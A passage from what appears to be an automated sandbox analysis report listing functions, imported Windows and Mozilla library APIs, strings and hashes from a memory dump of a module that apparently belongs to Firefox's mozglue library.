tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,6CAEB127), ref: 6CAEB463
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CAEB4C9
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(FFFFFFFF,pid:,00000004), ref: 6CAEB4E4

Strings

pid:, xrefs: 6CAEB4DE

Memory Dump Source

Source File: 00000000.00000002.2653407442.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2653374778.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653484817.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653522546.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653554475.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: _getpidstrlenstrncmptolower
String ID: pid:
API String ID: 1720406129-3403741246
Opcode ID: f721a8272f8715e8548809e8dc2d32d413d125e74193faced147922194b16a71
Instruction ID: f3788b1f78864e62c0006601b459b368d6c30bef5bcaab8c582f29ed9f5565af
Opcode Fuzzy Hash: f721a8272f8715e8548809e8dc2d32d413d125e74193faced147922194b16a71
Instruction Fuzzy Hash: 6631E931A01308DFDB00DFA9E448AEEB7B5FF49318F580629D41267A41D731A8C9DBE5

Function 6CADE550 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 47threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CADE577
AcquireSRWLockExclusive.KERNEL32(6CB1F4B8), ref: 6CADE584
ReleaseSRWLockExclusive.KERNEL32(6CB1F4B8), ref: 6CADE5DE
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6CADE8A6

Strings

MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6CADE777
MOZ_PROFILER_STARTUP, xrefs: 6CADE5A1, 6CADE5CC, 6CADE5FF, 6CADE62A
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6CADE655
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6CADE722, 6CADE750, 6CADE7A2
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6CADE826, 6CADE850

Memory Dump Source

Source File: 00000000.00000002.2653407442.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2653374778.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653484817.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653522546.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653554475.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadXbad_function_call@std@@
String ID: MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL
API String ID: 1483687287-53385798
Opcode ID: 503d69975b3c3338652494a8a73021579428371807ba67494e9ef7cac6556a70
Instruction ID: 086b48d80f7baf1e9c80a6115ae9484e8d1c1f607baee47efc9afe14dfe1a7e9
Opcode Fuzzy Hash: 503d69975b3c3338652494a8a73021579428371807ba67494e9ef7cac6556a70
Instruction Fuzzy Hash: 8711AD32A04298DFDB00DF15C84AA6AFBB8FB89368F450619E85687F50C774A885CB95

Function 6CAE0C90 Relevance: 6.3, APIs: 5, Instructions: 99stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6CAE0CD5

Part of subcall function 6CACF960: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6CACF9A7

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6CAE0D40
free.MOZGLUE ref: 6CAE0DCB

Part of subcall function 6CAB5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6CAB5EDB
Part of subcall function 6CAB5E90: memset.VCRUNTIME140(6CAF7765,000000E5,55CCCCCC), ref: 6CAB5F27
Part of subcall function 6CAB5E90: LeaveCriticalSection.KERNEL32(?), ref: 6CAB5FB2

free.MOZGLUE ref: 6CAE0DDD
free.MOZGLUE ref: 6CAE0DF2

Memory Dump Source

Source File: 00000000.00000002.2653407442.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2653374778.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653484817.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653522546.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653554475.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: free$CriticalSectionstrlen$EnterImpl@detail@mozilla@@LeaveMutexmemset
String ID:
API String ID: 4069420150-0
Opcode ID: fb40d7394fbbffea791fc7b06881d7309369277caea9611d0f991376fdd0a008
Instruction ID: 65fab4d8578b32210e89e412092ce6948c0320c0cce7804b83f14f7220a1aad1
Opcode Fuzzy Hash: fb40d7394fbbffea791fc7b06881d7309369277caea9611d0f991376fdd0a008
Instruction Fuzzy Hash: 5B412A719087808BD320CF29C18079AFBE5BFC9754F118A2EE8D887750DB709485DB82

Function 6CAECCF0 Relevance: 6.3, APIs: 4, Instructions: 299COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(000000E0,00000000,?,6CADDA31,00100000,?,?,00000000,?), ref: 6CAECDA4

Part of subcall function 6CAACA10: malloc.MOZGLUE(?), ref: 6CAACA26

Part of subcall function 6CAED130: InitializeConditionVariable.KERNEL32(00000010,00020000,00000000,00100000,?,6CAECDBA,00100000,?,00000000,?,6CADDA31,00100000,?,?,00000000,?), ref: 6CAED158
Part of subcall function 6CAED130: InitializeConditionVariable.KERNEL32(00000098,?,6CAECDBA,00100000,?,00000000,?,6CADDA31,00100000,?,?,00000000,?), ref: 6CAED177

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE(?,?,00000000,?,6CADDA31,00100000,?,?,00000000,?), ref: 6CAECDC4

Part of subcall function 6CAE7480: ReleaseSRWLockExclusive.KERNEL32(?,6CAF15FC,?,?,?,?,6CAF15FC,?), ref: 6CAE74EB

moz_xmalloc.MOZGLUE(00000014,?,?,?,00000000,?,6CADDA31,00100000,?,?,00000000,?), ref: 6CAECECC

Part of subcall function 6CAACA10: mozalloc_abort.MOZGLUE(?), ref: 6CAACAA2

Part of subcall function 6CADCB30: floor.API-MS-WIN-CRT-MATH-L1-1-0(?,?,00000000,?,6CAECEEA,?,?,?,?,00000000,?,6CADDA31,00100000,?,?,00000000), ref: 6CADCB57
Part of subcall function 6CADCB30: _beginthreadex.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000,00000000,6CADCBE0,00000000,00000000,00000000,?,?,?,?,00000000,?,6CAECEEA,?,?), ref: 6CADCBAF

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,00000000,?,6CADDA31,00100000,?,?,00000000,?), ref: 6CAED058

Memory Dump Source

Source File: 00000000.00000002.2653407442.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2653374778.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653484817.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653522546.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653554475.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: ConditionInitializeVariablemoz_xmalloc$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedExclusiveLockProfileRelease_beginthreadexfloormallocmozalloc_aborttolower
String ID:
API String ID: 861561044-0
Opcode ID: 37168a5f5015e90d0ef573ac1b43acddce28982d21f2c92611e36dcb01b3a6f5
Instruction ID: ec826431683040dba7dc937d5a52a7c7e3cb831a2ec635747758824003e57692
Opcode Fuzzy Hash: 37168a5f5015e90d0ef573ac1b43acddce28982d21f2c92611e36dcb01b3a6f5
Instruction Fuzzy Hash: 32D16E71A04B469FD708CF28C580B99F7E1BF89308F05862DD8598B752EB31E9A5CBC1

Function 6CAA1720 Relevance: 6.2, APIs: 4, Instructions: 218COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,?), ref: 6CAA17B2
memset.VCRUNTIME140(?,00000000,?,?), ref: 6CAA18EE
free.MOZGLUE(?), ref: 6CAA1911
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CAA194C

Memory Dump Source

Source File: 00000000.00000002.2653407442.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2653374778.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653484817.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653522546.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653554475.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturnfreememcpymemset
String ID:
API String ID: 3725304770-0
Opcode ID: e2fa7b676152fad51751bc2000e4524888165d94e9adc1e8e5e6d5f579bef83d
Instruction ID: 66ff86e3609b8f4a440609342c9932d0a78fc5d6c3277616422a1e2d584c5d98
Opcode Fuzzy Hash: e2fa7b676152fad51751bc2000e4524888165d94e9adc1e8e5e6d5f579bef83d
Instruction Fuzzy Hash: 3581C570A11205EFCB08CFA9D8949BEBBB1FF89314F04452DE915AB754D730E889CBA1

Function 6CAB5C50 Relevance: 6.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

GetTickCount64.KERNEL32 ref: 6CAB5D40
EnterCriticalSection.KERNEL32(6CB1F688), ref: 6CAB5D67
__aulldiv.LIBCMT ref: 6CAB5DB4
LeaveCriticalSection.KERNEL32(6CB1F688), ref: 6CAB5DED

Memory Dump Source

Source File: 00000000.00000002.2653407442.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2653374778.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653484817.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653522546.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653554475.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: CriticalSection$Count64EnterLeaveTick__aulldiv
String ID:
API String ID: 557828605-0
Opcode ID: 1887a93de3d666eff37aae55766c24ac85e713a1204874aca0f79d6be8dcfbe0
Instruction ID: a0f51e9725d3f50c78497987780de5b59ee2c09b93389f73cbe75709cea46d8b
Opcode Fuzzy Hash: 1887a93de3d666eff37aae55766c24ac85e713a1204874aca0f79d6be8dcfbe0
Instruction Fuzzy Hash: FE515E71E002598FCF08CFA8C955AAEBBB6FB89304F29861DD815B7B50C7706985CB90

Function 6CA9CDF0 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 128COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,-000000EA,?,?,?,?,?,?,?,?,?,?,?), ref: 6CA9CEBD
memcpy.VCRUNTIME140(?,?,?,?,?,?,?), ref: 6CA9CEF5
memset.VCRUNTIME140(-000000E5,00000030,?,?,?,?,?,?,?,?), ref: 6CA9CF4E

Strings

0, xrefs: 6CA9CF30

Memory Dump Source

Source File: 00000000.00000002.2653407442.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2653374778.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653484817.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653522546.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653554475.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: memcpy$memset
String ID: 0
API String ID: 438689982-4108050209
Opcode ID: 2ebb9a4945786ece210a3843248639f6313a461f9f38564d5b9cdb6be36746a5
Instruction ID: eaadf54a2fbf4f84bbfadad1c0d4a4858a32288950b098877f291fbaff02f330
Opcode Fuzzy Hash: 2ebb9a4945786ece210a3843248639f6313a461f9f38564d5b9cdb6be36746a5
Instruction Fuzzy Hash: 79512271A006568FCB00CF18C890AAABBF5EF99304F19819DD85A5F752D731ED46CBE0

Function 6CAF77D0 Relevance: 6.1, APIs: 4, Instructions: 113stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CAF77FA
?StringToDouble@StringToDoubleConverter@double_conversion@@QBENPBDHPAH@Z.MOZGLUE(00000001,00000000,?), ref: 6CAF7829

Part of subcall function 6CACCC38: GetCurrentProcess.KERNEL32(?,?,?,?,6CA931A7), ref: 6CACCC45
Part of subcall function 6CACCC38: TerminateProcess.KERNEL32(00000000,00000003,?,?,?,?,6CA931A7), ref: 6CACCC4E

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6CAF789F
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6CAF78CF

Part of subcall function 6CA94DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6CA94E5A
Part of subcall function 6CA94DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6CA94E97

Part of subcall function 6CA94290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6CAD3EBD,6CAD3EBD,00000000), ref: 6CA942A9

Memory Dump Source

Source File: 00000000.00000002.2653407442.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2653374778.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653484817.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653522546.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653554475.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$DtoaProcessstrlen$Ascii@Builder@2@Builder@2@@Converter@CreateCurrentDecimalDouble@EcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestTerminateV12@
String ID:
API String ID: 2525797420-0
Opcode ID: 5b7d12c7ddcb43ccf4784bb1fd76f2418c470d3697a2dc6c7a95cec34002aeb1
Instruction ID: 0b86cda273e7ea6adbf86b68c43f56d64df4cf686509e53ad44988bf9ae69e63
Opcode Fuzzy Hash: 5b7d12c7ddcb43ccf4784bb1fd76f2418c470d3697a2dc6c7a95cec34002aeb1
Instruction Fuzzy Hash: AC41AE719047469FD300DF29C48056BFBF4FF8A254F204A2DE4A987A41DB30E59ACBD2

Function 6CAD6470 Relevance: 6.1, APIs: 4, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000200,?,?,?,?,?,?,?,?,?,?,?,?,6CAD82BC,?,?), ref: 6CAD649B

Part of subcall function 6CAACA10: malloc.MOZGLUE(?), ref: 6CAACA26

memset.VCRUNTIME140(00000000,00000000,00000200,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CAD64A9

Part of subcall function 6CACFA80: GetCurrentThreadId.KERNEL32 ref: 6CACFA8D
Part of subcall function 6CACFA80: AcquireSRWLockExclusive.KERNEL32(6CB1F448), ref: 6CACFA99

ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CAD653F
free.MOZGLUE(?), ref: 6CAD655A

Memory Dump Source

Source File: 00000000.00000002.2653407442.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2653374778.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653484817.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653522546.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653554475.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfreemallocmemsetmoz_xmalloc
String ID:
API String ID: 3596744550-0
Opcode ID: 7d32f9898937c8dc92e5292b7cb8ccb0a7453fc6077702fc94237c44066bfead
Instruction ID: 7e92a827fdbe52c085bfec235d0484a0a0d4589ea00268dcb375d531afff75df
Opcode Fuzzy Hash: 7d32f9898937c8dc92e5292b7cb8ccb0a7453fc6077702fc94237c44066bfead
Instruction Fuzzy Hash: AF316DB5A043059FD704CF24D984A9EBBE4BF89314F00492EE89A97B41DB34F959CB92

Function 6CACFF60 Relevance: 6.1, APIs: 4, Instructions: 83COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,80000001,80000000,?,6CAED019,?,?,?,?,?,00000000,?,6CADDA31,00100000,?), ref: 6CACFFD3
memcpy.VCRUNTIME140(00000000,?,?,?,6CAED019,?,?,?,?,?,00000000,?,6CADDA31,00100000,?,?), ref: 6CACFFF5
free.MOZGLUE(?,?,?,?,?,6CAED019,?,?,?,?,?,00000000,?,6CADDA31,00100000,?), ref: 6CAD001B
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,6CAED019,?,?,?,?,?,00000000,?,6CADDA31,00100000,?,?), ref: 6CAD002A

Memory Dump Source

Source File: 00000000.00000002.2653407442.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2653374778.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653484817.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653522546.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653554475.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: memcpy$_invalid_parameter_noinfo_noreturnfree
String ID:
API String ID: 826125452-0
Opcode ID: 92656fcec6ca22e16f8b907a0242e0005b6cf6d95480c39bac78a3f8db10c5c8
Instruction ID: cdfc39f381b2b85ba3dbd1eb247600eafa2da5a6788eedf0eebc0d6d8095b481
Opcode Fuzzy Hash: 92656fcec6ca22e16f8b907a0242e0005b6cf6d95480c39bac78a3f8db10c5c8
Instruction Fuzzy Hash: 0421D3B2B002155FC7089E7CDC948AFB7BAFB853247250338E425E7780EB70AD4586E2

Function 6CAAB4E0 Relevance: 6.1, APIs: 4, Instructions: 54threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CAAB4F5
AcquireSRWLockExclusive.KERNEL32(6CB1F4B8), ref: 6CAAB502
ReleaseSRWLockExclusive.KERNEL32(6CB1F4B8), ref: 6CAAB542
free.MOZGLUE(?), ref: 6CAAB578

Memory Dump Source

Source File: 00000000.00000002.2653407442.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2653374778.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653484817.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653522546.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653554475.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: 24419cd5724c52827000196e4e05f865999ed26264317fbb0ad4a46c6c5cb6f9
Instruction ID: 72c5a00a94248e6b2d0d1bc789e6762a2c1ac30b243a7653634434e9590e1a22
Opcode Fuzzy Hash: 24419cd5724c52827000196e4e05f865999ed26264317fbb0ad4a46c6c5cb6f9
Instruction Fuzzy Hash: DB11A231904B46C7D712CF69D5047A5B3B5FF96318F14571AE84A53E01EBB1B1C6C790

Function 6CAD3DE0 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,6CA9F20E,?), ref: 6CAD3DF5
fputs.API-MS-WIN-CRT-STDIO-L1-1-0(6CA9F20E,00000000,?), ref: 6CAD3DFC
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6CAD3E06
fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,00000000), ref: 6CAD3E0E

Part of subcall function 6CACCC00: GetCurrentProcess.KERNEL32(?,?,6CA931A7), ref: 6CACCC0D
Part of subcall function 6CACCC00: TerminateProcess.KERNEL32(00000000,00000003,?,?,6CA931A7), ref: 6CACCC16

Memory Dump Source

Source File: 00000000.00000002.2653407442.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2653374778.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653484817.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653522546.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653554475.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: Process__acrt_iob_func$CurrentTerminatefputcfputs
String ID:
API String ID: 2787204188-0
Opcode ID: 28d2ce43c402a03f1b3035c89b3947d5832943f0bd8a531a1a4aeffb3fe028b7
Instruction ID: 31a32870d8e71f183b5f461dabfe0bfb16f112e40515756b0f255350fe67727c
Opcode Fuzzy Hash: 28d2ce43c402a03f1b3035c89b3947d5832943f0bd8a531a1a4aeffb3fe028b7
Instruction Fuzzy Hash: 3FF01CB1A002087FDB00AB54DC86DAB377DEB46628F050020FE0857B41DB35BE6A86F7

Function 6CAE20B0 Relevance: 6.0, APIs: 4, Instructions: 28threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CAE20B7
AcquireSRWLockExclusive.KERNEL32(00000000,?,6CACFBD1), ref: 6CAE20C0
ReleaseSRWLockExclusive.KERNEL32(00000000,?,6CACFBD1), ref: 6CAE20DA
free.MOZGLUE(00000000,?,6CACFBD1), ref: 6CAE20F1

Memory Dump Source

Source File: 00000000.00000002.2653407442.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2653374778.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653484817.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653522546.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653554475.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: 8ee59afb94ac871375e416c2591125e5b23334f652a9745270d0dc0375e4c570
Instruction ID: 39f0a1afb275f5244923783fa6592ba74630ebf66e467a2deb66899ca995c1e3
Opcode Fuzzy Hash: 8ee59afb94ac871375e416c2591125e5b23334f652a9745270d0dc0375e4c570
Instruction Fuzzy Hash: FAE09B726006259BC7219F25D80958EBBFDFF8A314B14072AE546C3F00D775F98A87D5

Function 6CAE85B0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 133COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000028,?,?,?), ref: 6CAE85D3

Part of subcall function 6CAACA10: malloc.MOZGLUE(?), ref: 6CAACA26

?_Xlength_error@std@@YAXPBD@Z.MSVCP140(map/set<T> too long,?,?,?), ref: 6CAE8725

Strings

map/set<T> too long, xrefs: 6CAE8720

Memory Dump Source

Source File: 00000000.00000002.2653407442.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2653374778.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653484817.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653522546.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653554475.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: Xlength_error@std@@mallocmoz_xmalloc
String ID: map/set<T> too long
API String ID: 3720097785-1285458680
Opcode ID: 0f0233b751451d9c9caa477f3bc474aec49da8d9f87d000af156bbc1e171d419
Instruction ID: 7c855b2feee8c9629f0745e8240361b5da1db16f08a975eee75d711bdec73714
Opcode Fuzzy Hash: 0f0233b751451d9c9caa477f3bc474aec49da8d9f87d000af156bbc1e171d419
Instruction Fuzzy Hash: 715164B4A006818FD701CF19C184B9ABBF1BF4A318F18C29AD8595BB52C335E885CFD2

Function 6CA9BD40 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 115COMMON

Download Yara Rule

APIs

?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(00000000,?,?,?,?), ref: 6CA9BDEB
?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6CA9BE8F

Strings

0, xrefs: 6CA9BE5B

Memory Dump Source

Source File: 00000000.00000002.2653407442.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2653374778.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653484817.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653522546.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653554475.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@Double$CreateDecimalHandleRepresentation@SpecialValues@
String ID: 0
API String ID: 2811501404-4108050209
Opcode ID: 8dd7761929da60aa5eb70c75c75cef1829a0244ab0f46bc1d96f7cefc8419a48
Instruction ID: 925b1c1c22edc5741f03ff251bb0e4f44762bbf2b631350290f7fd486f31cc95
Opcode Fuzzy Hash: 8dd7761929da60aa5eb70c75c75cef1829a0244ab0f46bc1d96f7cefc8419a48
Instruction Fuzzy Hash: 0341C371919745CFC711CF38D482A9BB7F8AF8A348F004B1DF98557611D730D9888B82

Function 6CAD3CF0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CAD3D19
mozalloc_abort.MOZGLUE(?), ref: 6CAD3D6C

Strings

d, xrefs: 6CAD3D58

Memory Dump Source

Source File: 00000000.00000002.2653407442.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

